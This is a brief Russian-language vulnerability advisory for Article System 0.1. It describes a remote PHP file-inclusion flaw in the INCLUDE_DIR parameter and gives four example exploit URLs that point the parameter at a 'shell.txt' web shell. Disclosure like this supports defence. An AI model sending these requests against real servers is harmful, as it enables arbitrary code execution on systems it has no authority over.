Программа: Article System 0.1
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "INCLUDE_DIR" различными сценариями. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.
Примеры:
http://[target]/[script_path]/include/forms.php?INCLUDE_DIR=shell.txt?
http://[target]/[script_path]/include/issue_edit.php?INCLUDE_DIR=shell.txt?
http://[target]/[script_path]/include/client.php?INCLUDE_DIR=shell.txt?
http://[target]/[script_path]/include/classes.php?INCLUDE_DIR=shell.txt?
